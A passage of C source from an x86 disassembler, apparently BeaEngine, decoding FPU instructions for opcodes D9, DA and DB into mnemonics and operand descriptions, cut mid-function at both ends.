        REGOPCODE = ((*((BYTE*) (EIP_ + 1))) >> 3) & 0x7;
        if (REGOPCODE == 0) {
            OpSize = 103;
            MOD_RM(&(*pMyDisasm).Argument2);
            (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION + DATA_TRANSFER;
            (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fld ");
            (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + FPU_REG + REG0;
            (*pMyDisasm).Argument1.ArgSize = 80;
        }
        else if (REGOPCODE == 2) {
            OpSize = 3;
            MOD_RM(&(*pMyDisasm).Argument1);
            (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION + DATA_TRANSFER;
            (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fst ");
            (*pMyDisasm).Argument2.ArgType = REGISTER_TYPE + FPU_REG + REG0;
            (*pMyDisasm).Argument2.ArgSize = 80;
        }
        else if (REGOPCODE == 3) {
            OpSize = 3;
            MOD_RM(&(*pMyDisasm).Argument1);
            (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION + DATA_TRANSFER;
            (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fstp ");
            (*pMyDisasm).Argument2.ArgType = REGISTER_TYPE + FPU_REG + REG0;
            (*pMyDisasm).Argument2.ArgSize = 80;
        }
        else if (REGOPCODE == 4) {
            OpSize = 105;
            MOD_RM(&(*pMyDisasm).Argument2);
            (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION + FPUCONTROL;
            (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fldenv ");
            (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + FPU_REG + REG0;
            (*pMyDisasm).Argument1.ArgSize = 80;
        }
        else if (REGOPCODE == 5) {
            OpSize = 102;
            MOD_RM(&(*pMyDisasm).Argument2);
            (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION + FPUCONTROL;
            (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fldcw ");
            (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + FPU_REG + REG0;
            (*pMyDisasm).Argument1.ArgSize = 80;
        }
        else if (REGOPCODE == 6) {
            OpSize = 5;
            MOD_RM(&(*pMyDisasm).Argument1);
            (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION + FPUCONTROL;
            (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fstenv ");
            (*pMyDisasm).Argument2.ArgType = REGISTER_TYPE + FPU_REG + REG0;
            (*pMyDisasm).Argument2.ArgSize = 80;
        }
        else if (REGOPCODE == 7) {
            OpSize = 2;
            MOD_RM(&(*pMyDisasm).Argument1);
            (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION + FPUCONTROL;
            (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fstcw ");
            (*pMyDisasm).Argument2.ArgType = REGISTER_TYPE + FPU_REG + REG0;
            (*pMyDisasm).Argument2.ArgSize = 80;
        }
        else {
            FailDecode(pMyDisasm);
        }
    }
    else {
        if ((MyMODRM & 0xf0) == 0xc0) {
            if (((MyMODRM & 0xf) >=0) && ((MyMODRM & 0xf) <=7)) {
                (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION + DATA_TRANSFER;
                (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fld ");
            }
            else {
                (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION + DATA_TRANSFER;
                (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fxch ");
                (*pMyDisasm).Argument2.AccessMode = WRITE;
            }
            (void) strcpy ((*pMyDisasm).Argument1.ArgMnemonic, (*pRegistersFPU)[0]);
            (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + FPU_REG + REGS[0];
            (*pMyDisasm).Argument1.ArgSize = 80;
            (void) strcpy ((*pMyDisasm).Argument2.ArgMnemonic, (*pRegistersFPU)[(MyMODRM & 0xf)%8]);
            (*pMyDisasm).Argument2.ArgType = REGISTER_TYPE + FPU_REG + REGS[(MyMODRM & 0xf)%8];
            (*pMyDisasm).Argument2.ArgSize = 80;
        }
        else if ((MyMODRM & 0xf0) == 0xd0) {
            if ((MyMODRM & 0xf) ==0) {
                (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION + FPUCONTROL;
                (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fnop ");
            }
            else if (((MyMODRM & 0xf) >=0x8) && ((MyMODRM & 0xf) <=0xf)) {
                (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION + DATA_TRANSFER;
                (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fstp1 ");
                (void) strcpy ((*pMyDisasm).Argument1.ArgMnemonic, (*pRegistersFPU)[0]);
                (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + FPU_REG + REGS[0];
                (*pMyDisasm).Argument1.ArgSize = 80;
                (void) strcpy ((*pMyDisasm).Argument2.ArgMnemonic, (*pRegistersFPU)[(MyMODRM & 0xf)%8]);
                (*pMyDisasm).Argument2.ArgType = REGISTER_TYPE + FPU_REG + REGS[(MyMODRM & 0xf)%8];
                (*pMyDisasm).Argument2.ArgSize = 80;
            }
            else {
                FailDecode(pMyDisasm);
            }

        }
        else if ((MyMODRM & 0xf0) == 0xe0) {
            if ((MyMODRM & 0xf) ==0) {
                (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION + ARITHMETIC_INSTRUCTION;
                (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fchs ");
                (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + FPU_REG + REGS[0];
                (*pMyDisasm).Argument1.ArgSize = 80;
            }
            else if ((MyMODRM & 0xf) ==1) {
                (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION + ARITHMETIC_INSTRUCTION;
                (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fabs ");
                (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + FPU_REG + REGS[0];
                (*pMyDisasm).Argument1.ArgSize = 80;
            }
            else if ((MyMODRM & 0xf) ==4) {
                (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION + COMPARISON_INSTRUCTION;
                (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "ftst ");
            }
            else if ((MyMODRM & 0xf) ==5) {
                (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION + COMPARISON_INSTRUCTION;
                (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fxam ");
            }
            else if ((MyMODRM & 0xf) ==8) {
                (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION + LOAD_CONSTANTS;
                (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fld1 ");
                (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + FPU_REG + REGS[0];
                (*pMyDisasm).Argument1.ArgSize = 80;
                (*pMyDisasm).Argument2.ArgType = CONSTANT_TYPE + ABSOLUTE_;
                (*pMyDisasm).Argument2.ArgSize = 80;

            }
            else if ((MyMODRM & 0xf) ==9) {
                (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION + LOAD_CONSTANTS;
                (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fldl2t ");
                (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + FPU_REG + REGS[0];
                (*pMyDisasm).Argument1.ArgSize = 80;
                (*pMyDisasm).Argument2.ArgType = CONSTANT_TYPE + ABSOLUTE_;
                (*pMyDisasm).Argument2.ArgSize = 80;
            }
            else if ((MyMODRM & 0xf) ==0xa) {
                (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION + LOAD_CONSTANTS;
                (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fldl2e ");
                (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + FPU_REG + REGS[0];
                (*pMyDisasm).Argument1.ArgSize = 80;
                (*pMyDisasm).Argument2.ArgType = CONSTANT_TYPE + ABSOLUTE_;
                (*pMyDisasm).Argument2.ArgSize = 80;
            }
            else if ((MyMODRM & 0xf) ==0xb) {
                (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION + LOAD_CONSTANTS;
                (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fldpi ");
                (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + FPU_REG + REGS[0];
                (*pMyDisasm).Argument1.ArgSize = 80;
                (*pMyDisasm).Argument2.ArgType = CONSTANT_TYPE + ABSOLUTE_;
                (*pMyDisasm).Argument2.ArgSize = 80;
            }
            else if ((MyMODRM & 0xf) ==0xc) {
                (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION + LOAD_CONSTANTS;
                (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fldlg2 ");
                (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + FPU_REG + REGS[0];
                (*pMyDisasm).Argument1.ArgSize = 80;
                (*pMyDisasm).Argument2.ArgType = CONSTANT_TYPE + ABSOLUTE_;
                (*pMyDisasm).Argument2.ArgSize = 80;
            }

            else if ((MyMODRM & 0xf) ==0xd) {
                (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION + LOAD_CONSTANTS;
                (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fldln2 ");
                (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + FPU_REG + REGS[0];
                (*pMyDisasm).Argument1.ArgSize = 80;
                (*pMyDisasm).Argument2.ArgType = CONSTANT_TYPE + ABSOLUTE_;
                (*pMyDisasm).Argument2.ArgSize = 80;
            }
            else if ((MyMODRM & 0xf) ==0xe) {
                (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION + LOAD_CONSTANTS;
                (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fldz ");
                (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + FPU_REG + REGS[0];
                (*pMyDisasm).Argument1.ArgSize = 80;
                (*pMyDisasm).Argument2.ArgType = CONSTANT_TYPE + ABSOLUTE_;
                (*pMyDisasm).Argument2.ArgSize = 80;
            }

            else {
                FailDecode(pMyDisasm);
            }
        }
        else if ((MyMODRM & 0xf0) == 0xf0) {
            if ((MyMODRM & 0xf) ==0) {
                (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION + LOGARITHMIC_INSTRUCTION;
                (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "f2xm1 ");
                (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + FPU_REG + REGS[0];
                (*pMyDisasm).Argument1.ArgSize = 80;
            }
            else if ((MyMODRM & 0xf) ==1) {
                (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION + LOGARITHMIC_INSTRUCTION;
                (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fyl2x ");
                (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + FPU_REG + REGS[0];
                (*pMyDisasm).Argument1.ArgSize = 80;
            }
            else if ((MyMODRM & 0xf) ==2) {
                (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION + TRIGONOMETRIC_INSTRUCTION;
                (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fptan ");
                (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + FPU_REG + REGS[0];
                (*pMyDisasm).Argument1.ArgSize = 80;
            }
            else if ((MyMODRM & 0xf) ==3) {
                (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION + TRIGONOMETRIC_INSTRUCTION;
                (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fpatan ");
                (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + FPU_REG + REGS[0];
                (*pMyDisasm).Argument1.ArgSize = 80;
            }
            else if ((MyMODRM & 0xf) ==4) {
                (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION + ARITHMETIC_INSTRUCTION;
                (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fxtract ");
                (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + FPU_REG + REGS[0];
                (*pMyDisasm).Argument1.ArgSize = 80;
            }
            else if ((MyMODRM & 0xf) ==5) {
                (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION + ARITHMETIC_INSTRUCTION;
                (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fprem1 ");
                (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + FPU_REG + REGS[0];
                (*pMyDisasm).Argument1.ArgSize = 80;
            }
            else if ((MyMODRM & 0xf) ==6) {
                (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION + FPUCONTROL;
                (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fdecstp ");
            }
            else if ((MyMODRM & 0xf) ==7) {
                (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION + FPUCONTROL;
                (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fincftp ");
            }
            else if ((MyMODRM & 0xf) ==8) {
                (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION + ARITHMETIC_INSTRUCTION;
                (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fprem ");
                (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + FPU_REG + REGS[0];
                (*pMyDisasm).Argument1.ArgSize = 80;
            }
            else if ((MyMODRM & 0xf) ==9) {
                (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION + LOGARITHMIC_INSTRUCTION;
                (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fyl2xp1 ");
                (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + FPU_REG + REGS[0];
                (*pMyDisasm).Argument1.ArgSize = 80;
            }
            else if ((MyMODRM & 0xf) ==0xa) {
                (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION + ARITHMETIC_INSTRUCTION;
                (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fsqrt ");
                (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + FPU_REG + REGS[0];
                (*pMyDisasm).Argument1.ArgSize = 80;
            }
            else if ((MyMODRM & 0xf) ==0xb) {
                (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION + TRIGONOMETRIC_INSTRUCTION;
                (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fsincos ");
                (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + FPU_REG + REGS[0];
                (*pMyDisasm).Argument1.ArgSize = 80;
            }
            else if ((MyMODRM & 0xf) ==0xc) {
                (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION + ARITHMETIC_INSTRUCTION;
                (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "frndint ");
                (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + FPU_REG + REGS[0];
                (*pMyDisasm).Argument1.ArgSize = 80;
            }
            else if ((MyMODRM & 0xf) ==0xd) {
                (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION + LOGARITHMIC_INSTRUCTION;
                (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fscale ");
                (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + FPU_REG + REGS[0];
                (*pMyDisasm).Argument1.ArgSize = 80;
            }
            else if ((MyMODRM & 0xf) ==0xe) {
                (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION + TRIGONOMETRIC_INSTRUCTION;
                (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fsin ");
                (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + FPU_REG + REGS[0];
                (*pMyDisasm).Argument1.ArgSize = 80;
            }
            else if ((MyMODRM & 0xf) ==0xf) {
                (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION + TRIGONOMETRIC_INSTRUCTION;
                (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fcos ");
                (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + FPU_REG + REGS[0];
                (*pMyDisasm).Argument1.ArgSize = 80;
            }
            else {
                FailDecode(pMyDisasm);
            }
        }
    }
    EIP_ += DECALAGE_EIP + 2;
}


// ====================================================================
//
// ====================================================================
void __stdcall DA_(PDISASM pMyDisasm)
{
    long MyMODRM;
    char (*pRegistersFPU)[8][8] ;

    DECALAGE_EIP = 0;
    if (!Security(1)) {return;}
    MyMODRM = *((BYTE*) (EIP_+1));
    pRegistersFPU = &RegistersFPU_Masm;
    if (SYNTAX_ == NasmSyntax) {
        pRegistersFPU = &RegistersFPU_Nasm;
    }
    if (MyMODRM <= 0xbf) {

        REGOPCODE = ((*((BYTE*) (EIP_ + 1))) >> 3) & 0x7;
        if (REGOPCODE == 0) {
            OpSize = 103;
            MOD_RM(&(*pMyDisasm).Argument2);
            (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION + ARITHMETIC_INSTRUCTION;
            (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fiadd ");
            (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + FPU_REG + REG0;
            (*pMyDisasm).Argument1.ArgSize = 80;
        }
        else if (REGOPCODE == 1) {
            OpSize = 103;
            MOD_RM(&(*pMyDisasm).Argument2);
            (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION + ARITHMETIC_INSTRUCTION;
            (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fimul ");
            (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + FPU_REG + REG0;
            (*pMyDisasm).Argument1.ArgSize = 80;
        }
        else if (REGOPCODE == 2) {
            OpSize = 103;
            MOD_RM(&(*pMyDisasm).Argument2);
            (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION + COMPARISON_INSTRUCTION;
            (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "ficom ");
            (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + FPU_REG + REG0;
            (*pMyDisasm).Argument1.ArgSize = 80;
            (*pMyDisasm).Argument1.AccessMode = READ;
        }
        else if (REGOPCODE == 3) {
            OpSize = 103;
            MOD_RM(&(*pMyDisasm).Argument2);
            (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION + COMPARISON_INSTRUCTION;
            (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "ficomp ");
            (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + FPU_REG + REG0;
            (*pMyDisasm).Argument1.ArgSize = 80;
            (*pMyDisasm).Argument1.AccessMode = READ;
        }
        else if (REGOPCODE == 4) {
            OpSize = 103;
            MOD_RM(&(*pMyDisasm).Argument2);
            (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION + ARITHMETIC_INSTRUCTION;
            (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fisub ");
            (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + FPU_REG + REG0;
            (*pMyDisasm).Argument1.ArgSize = 80;
        }
        else if (REGOPCODE == 5) {
            OpSize = 103;
            MOD_RM(&(*pMyDisasm).Argument2);
            (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION + ARITHMETIC_INSTRUCTION;
            (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fisubr ");
            (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + FPU_REG + REG0;
            (*pMyDisasm).Argument1.ArgSize = 80;
        }
        else if (REGOPCODE == 6) {
            OpSize = 103;
            MOD_RM(&(*pMyDisasm).Argument2);
            (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION + ARITHMETIC_INSTRUCTION;
            (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fidiv ");
            (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + FPU_REG + REG0;
            (*pMyDisasm).Argument1.ArgSize = 80;
        }
        else if (REGOPCODE == 7) {
            OpSize = 103;
            MOD_RM(&(*pMyDisasm).Argument2);
            (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION + ARITHMETIC_INSTRUCTION;
            (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fidivr ");
            (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + FPU_REG + REG0;
            (*pMyDisasm).Argument1.ArgSize = 80;
        }
        else {
            FailDecode(pMyDisasm);
        }
    }
    else {
        if ((MyMODRM & 0xf0) == 0xc0) {
            if (((MyMODRM & 0xf) >=0) && ((MyMODRM & 0xf) <=7)) {
                (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION + DATA_TRANSFER;
                (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fcmovb ");
            }
            else {
                (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION + DATA_TRANSFER;
                (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fcmove ");
                (*pMyDisasm).Argument2.AccessMode = WRITE;
            }
            (void) strcpy ((*pMyDisasm).Argument1.ArgMnemonic, (*pRegistersFPU)[0]);
            (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + FPU_REG + REGS[0];
            (*pMyDisasm).Argument1.ArgSize = 80;
            (void) strcpy ((*pMyDisasm).Argument2.ArgMnemonic, (*pRegistersFPU)[(MyMODRM & 0xf)%8]);
            (*pMyDisasm).Argument2.ArgType = REGISTER_TYPE + FPU_REG + REGS[(MyMODRM & 0xf)%8];
            (*pMyDisasm).Argument2.ArgSize = 80;
        }
        else if ((MyMODRM & 0xf0) == 0xd0) {
            if (((MyMODRM & 0xf) >=0) && ((MyMODRM & 0xf) <=7)) {
                (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION + DATA_TRANSFER;
                (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fcmovbe ");
            }
            else {
                (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION + DATA_TRANSFER;
                (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fcmovu ");
                (*pMyDisasm).Argument2.AccessMode = WRITE;
            }
            (void) strcpy ((*pMyDisasm).Argument1.ArgMnemonic, (*pRegistersFPU)[0]);
            (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + FPU_REG + REGS[0];
            (*pMyDisasm).Argument1.ArgSize = 80;
            (void) strcpy ((*pMyDisasm).Argument2.ArgMnemonic, (*pRegistersFPU)[(MyMODRM & 0xf)%8]);
            (*pMyDisasm).Argument2.ArgType = REGISTER_TYPE + FPU_REG + REGS[(MyMODRM & 0xf)%8];
            (*pMyDisasm).Argument2.ArgSize = 80;

        }
        else if (MyMODRM == 0xe9) {
            (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION + COMPARISON_INSTRUCTION;
            (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fucompp ");
            (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + FPU_REG + REGS[0];
            (*pMyDisasm).Argument1.ArgSize = 80;
            (*pMyDisasm).Argument1.AccessMode = READ;
        }
        else {
            FailDecode(pMyDisasm);
        }
    }
    EIP_ += DECALAGE_EIP + 2;
}


// ====================================================================
//
// ====================================================================
void __stdcall DB_(PDISASM pMyDisasm)
{
    long MyMODRM;
    char (*pRegistersFPU)[8][8] ;

    DECALAGE_EIP = 0;
    if (!Security(1)) {return;}
    MyMODRM = *((BYTE*) (EIP_+1));
    pRegistersFPU = &RegistersFPU_Masm;
    if (SYNTAX_ == NasmSyntax) {
        pRegistersFPU = &RegistersFPU_Nasm;
    }
    if (MyMODRM <= 0xbf) {

        REGOPCODE = ((*((BYTE*) (EIP_ + 1))) >> 3) & 0x7;
        if (REGOPCODE == 0) {
            OpSize = 103;
            MOD_RM(&(*pMyDisasm).Argument2);
            (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION + DATA_TRANSFER;
            (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fild ");
            (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + FPU_REG + REG0;
            (*pMyDisasm).Argument1.ArgSize = 80;
        }
        else if (REGOPCODE == 1) {
            OpSize = 3;
            MOD_RM(&(*pMyDisasm).Argument1);
            (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION + DATA_TRANSFER;
            (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fisttp ");
            (*pMyDisasm).Argument2.ArgType = REGISTER_TYPE + FPU_REG + REG0;
            (*pMyDisasm).Argument2.ArgSize = 80;
        }
        else if (REGOPCODE == 2) {
            OpSize = 3;
            MOD_RM(&(*pMyDisasm).Argument1);
            (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION + DATA_TRANSFER;
            (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fist ");
            (*pMyDisasm).Argument2.ArgType = REGISTER_TYPE + FPU_REG + REG0;
            (*pMyDisasm).Argument2.ArgSize = 80;
        }
        else if (REGOPCODE == 3) {
            OpSize = 3;
            MOD_RM(&(*pMyDisasm).Argument1);
            (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION + DATA_TRANSFER;
            (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fistp ");
            (*pMyDisasm).Argument2.ArgType = REGISTER_TYPE + FPU_REG + REG0;
            (*pMyDisasm).Argument2.ArgSize = 80;
        }
        else if (REGOPCODE == 5) {
            OpSize = 103;
            MOD_RM(&(*pMyDisasm).Argument2);
            (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION + DATA_TRANSFER;
            (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fld ");
            (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + FPU_REG + REG0;
            (*pMyDisasm).Argument1.ArgSize = 80;
        }
        else if (REGOPCODE == 7) {
            OpSize = 3;
            MOD_RM(&(*pMyDisasm).Argument1);
            (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION + DATA_TRANSFER;
            (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fstp ");
            (*pMyDisasm).Argument2.ArgType = REGISTER_TYPE + FPU_REG + REG0;
            (*pMyDisasm).Argument2.ArgSize = 80;
        }
        else {
            FailDecode(pMyDisasm);
        }
    }
    else {
        if ((MyMODRM & 0xf0) == 0xc0) {
            if (((MyMODRM & 0xf) >=0) && ((MyMODRM & 0xf) <=7)) {
                (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION + ARITHMETIC_INSTRUCTION;
                (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fcmovnb ");
            }
            else {
                (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION + ARITHMETIC_INSTRUCTION;
                (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fcmovne ");
                (*pMyDisasm).Argument2.AccessMode = WRITE;
            }
            (void) strcpy ((*pMyDisasm).Argument1.ArgMnemonic, (*pRegistersFPU)[0]);
            (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + FPU_REG + REGS[0];
            (*pMyDisasm).Argument1.ArgSize = 80;
            (void) strcpy ((*pMyDisasm).Argument2.ArgMnemonic, (*pRegistersFPU)[(MyMODRM & 0xf)%8]);
            (*pMyDisasm).Argument2.ArgType = REGISTER_TYPE + FPU_REG + REGS[(MyMODRM & 0xf)%8];
            (*pMyDisasm).Argument2.ArgSize = 80;
        }
        else if ((MyMODRM & 0xf0) == 0xd0) {
            if (((MyMODRM & 0xf) >=0) && ((MyMODRM & 0xf) <=7)) {
                (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION + ARITHMETIC_INSTRUCTION;
                (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fcmovnbe ");
            }
            else {
                (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION + ARITHMETIC_INSTRUCTION;
                (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fcmovnu ");
                (*pMyDisasm).Argument2.AccessMode = WRITE;
            }
            (void) strcpy ((*pMyDisasm).Argument1.ArgMnemonic, (*pRegistersFPU)[0]);
            (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + FPU_REG + REGS[0];
            (*pMyDisasm).Argument1.ArgSize = 80;
            (void) strcpy ((*pMyDisasm).Argument2.ArgMnemonic, (*pRegistersFPU)[(MyMODRM & 0xf)%8]);
            (*pMyDisasm).Argument2.ArgType = REGISTER_TYPE + FPU_REG + REGS[(MyMODRM & 0xf)%8];
            (*pMyDisasm).Argument2.ArgSize = 80;
        }
        else if ((MyMODRM & 0xf0) == 0xe0) {

            if ((MyMODRM & 0xf) ==0) {
                (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION + UNSUPPORTED_INSTRUCTION;
                (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "feni ");
            }
            else if ((MyMODRM & 0xf) ==1) {
                (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION + UNSUPPORTED_INSTRUCTION;
                (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fdisi ");
            }
            else if ((MyMODRM & 0xf) ==2) {
                (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION + FPUCONTROL;
                (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fclex ");
            }
            else if ((MyMODRM & 0xf) ==3) {
                (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION + FPUCONTROL;
                (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fpinit ");
            }
            else if ((MyMODRM & 0xf) ==4) {
                (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION + UNSUPPORTED_INSTRUCTION;
                (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fsetpm ");
            }
            else if ((MyMODRM & 0xf) ==5) {
                (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION + ARITHMETIC_INSTRUCTION;
                (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "frstpm ");
            }
            else if (((MyMODRM & 0xf) >=0x8) && ((MyMODRM & 0xf) <=0xf)) {
                (*pMyDisasm).Instruction.Category = FPU_INSTRUCTION + COMPARISON_INSTRUCTION;
                (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "fucomi ");
                (void) strcpy ((*pMyDisasm).Argument1.ArgMnemonic, (*pRegistersFPU)[0]);
